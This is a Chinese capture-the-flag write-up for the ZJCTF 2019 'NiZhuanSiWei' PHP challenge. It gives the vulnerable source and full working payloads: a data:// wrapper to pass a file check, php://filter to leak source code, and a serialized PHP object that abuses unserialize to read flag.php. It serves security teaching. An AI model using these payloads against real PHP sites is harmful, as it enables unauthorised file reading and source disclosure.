[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
读题
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
大概可以知道要过两个if条件。
这里先了解一些php协议流的知识:
-
data:// 数据流
这个data流可以直接传入代码被解析执行,类似php://input 输入流
data: text/plain,输入数据
data: text/plain;base64,输入数据(base64加密)
-
php://filter 编码流
查看php文件源代码,而不是被解析。
原理是通过php编码流base64编码使得解析器无法解析。
php://filter/read=convert.base64-encode/resource=php文件
所以第一个if条件绕过可以构造
?text=data:text/plain,welcome to the zjctf

接下来加入 file
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64.encode/resource=useless.php
读取到useless.php

base64解码后得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
也就是 Flag 这个类被当作字符串的时候(例如echo $obj)会 tostring 一下子,而这里 tostring 的功能就是返回 $this->file 的内容。
再看题里这一段
include($file); //useless.php
$password = unserialize($password);
echo $password;
如果 password 是一个 Flag 对象的话,那 echo $password 正好能执行tosring,通过赋值给里面的 file ,就可以读想要的文件,然后注意一下这里有一个反序列化。
所以构造一个序列化的Flag对象
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里简单说一下上面这串怎么来的,数字 4、4、8其实就是它们各自后面字符串的长度,1 呢就是说里面有1个变量,其他的话应该还是挺好理解的,注意最后要分号 “;”。当然这里 file 的类型是 public ,如果是 private 或 protected 的话,写法又有些许差别。
不熟悉的话可以写个php跑一下,在线php工具。

最后payload:
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码看到flag


浙公网安备 33010602011771号